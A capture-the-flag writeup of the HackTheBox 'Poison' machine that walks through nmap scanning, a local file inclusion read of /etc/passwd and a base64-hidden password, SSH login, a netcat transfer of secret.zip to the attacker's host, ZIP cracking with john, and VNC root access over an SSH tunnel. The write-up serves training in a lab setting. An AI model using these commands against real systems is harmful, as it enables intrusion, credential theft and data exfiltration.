> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/poison-hackthebox-writeup.md).

# Poison HackTheBox Writeup

Poison HackTheBox Medium Linux machine writeup covering Local File Inclusion (LFI), Cracking ZIP file, Abusing VNC - vncviewer (Privilege Escalation), with practical enumeration, exploitation, foothol

{% embed url="<https://app.hackthebox.com/machines/Poison>" %}

{% hint style="warning" %}
**Skills:**

* Local File Inclusion (LFI)
* Cracking ZIP file
* Abusing VNC - vncviewer (Privilege Escalation)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1226a2257e7f0e20effef12a68a110652a5b2498%2Fimage%20(2817).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11ce96b13060fe857425c84365f065dfa2f685af%2Fimage%20(2818).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.84 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0335b3e97a4b7fa1a9b50bc964cb2e81eb220e41%2Fimage%20(2819).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port Version Scan with Nmap (22, 80):**

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p22,80 10.10.10.84 -oN targeted 
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f234d40f11f875c0c6b5e59506a34ebaa2bbfd42%2Fimage%20(2820).png?alt=media" alt=""><figcaption></figcaption></figure>

## Port 80 - FreeBSD

{% hint style="info" %}
FreeBSD is a popular open source free operating system based on the BSD version of the Unix operating system. FreeBSD has the reputation of being fast, stable and particularly suitable for operating as an Internet server or file server.
{% endhint %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-561f84287a48f957969f66d328cf5b9bc3780d45%2Fimage%20(2821).png?alt=media" alt=""><figcaption></figcaption></figure>

### **LFI Exploitation**

We identify a vulnerable parameter:

```
?file=FILE
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54dd4f0fd00e69d37559967d02502e1b28547c88%2Fimage%20(2822).png?alt=media" alt=""><figcaption></figcaption></figure>

This allows us to read any file available on the system.

By remote `pwnbackup.txt`, we find a string indicating an encrypted password **13 times in base64**:

```
Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c85658563f8c953ef6680debb90a7be10c22f12%2Fimage%20(2823).png?alt=media" alt=""><figcaption></figcaption></figure>

Decryption with `echo`:

{% code overflow="wrap" %}

```bash
echo "Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo=" | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d; echo
```

{% endcode %}

The revealed password is:

* `Charix!2#4%6&8(0`

### **System user search**

We list `/etc/passwd` via the LFI and find the user **charix**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd1e47752986daba3568d487fc040fdb22754bb7%2Fimage%20(2824).png?alt=media" alt=""><figcaption></figcaption></figure>

SSH connection with found credentials:

```bash
ssh charix@10.10.10.84 
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b71591ed1ddc7e48c3f0ce84ea34de2bbbd76d8f%2Fimage%20(2825).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

Flag `user.txt` recovered

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f4bace40c38ee0d044eb00b86696f4a542a7a117%2Fimage%20(2826).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Privilege Escalation**

We find a file **secret.zip**.

#### **File Transfer with Netcat**

On our machine:

```bash
nc -nvlp 443 > secret.zip
cat secret.zip  | nc 10.10.14.50 443
```

The file is password protected.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5827f143a9a865e76c095acf51c0d09c6b5d369e%2Fimage%20(2827).png?alt=media" alt=""><figcaption></figcaption></figure>

### **ZIP password crack**

**Extract the hash with `zip2john`**:

So we'll use zip2john to extract the hash

```bash
zip2john secret.zip > hash
```

**Password tracking with `john`**:

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
```

**Result**: Not found

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7817331dc23361ba1b8ca5207d8a9e5caedb738a%2Fimage%20(2828).png?alt=media" alt=""><figcaption></figcaption></figure>

We test the reuse of the password previously discovered:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2970b1d4490ce0c0a013cf735766ff1fc692af39%2Fimage%20(2829).png?alt=media" alt=""><figcaption></figcaption></figure>

/*Success! /*/\*

`secret` file contains strange characters, suggesting an access key

### Exploitation 5800,5801,5900,5901 - VNC

We identify listening ports:

```bash
netstat -an | grep LISTEN
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2635f808288af2fd9735379516a9ee7da62a72a1%2Fimage%20(2830).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **SSH tunnel to forward VNC ports**

```bash
ssh -L 5801:127.0.0.1:5801 -L 5901:127.0.0.1:5901 charix@10.10.10.84
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c573759e00dd272931f1efa5ade12b0599fb16a%2Fimage%20(2831).png?alt=media" alt=""><figcaption></figcaption></figure>

VNC Service Scan :

```bash
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5801 127.0.0.1
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5901 127.0.0.1
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e32ae29b5d53f3eb7513096f9b82ed15b727e8fd%2Fimage%20(2832).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Login via vncviewer**

We use the password found in `secret.zip`:

```bash
vncviewer -passwd secret 127.0.0.1:5901
```

We get a **root access** on the machine!

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6312abe26269b22c8f3da6529463191be6ff346d%2Fimage%20(2833).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b7fc7cf5c00a7a2f2f73ec8d453009badc150b3%2Fimage%20(2834).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f93253f0c22e4a18b9611f68bddc0aa88cd1441f%2Fimage%20(2835).png?alt=media" alt="" width="404"><figcaption></figcaption></figure>


---

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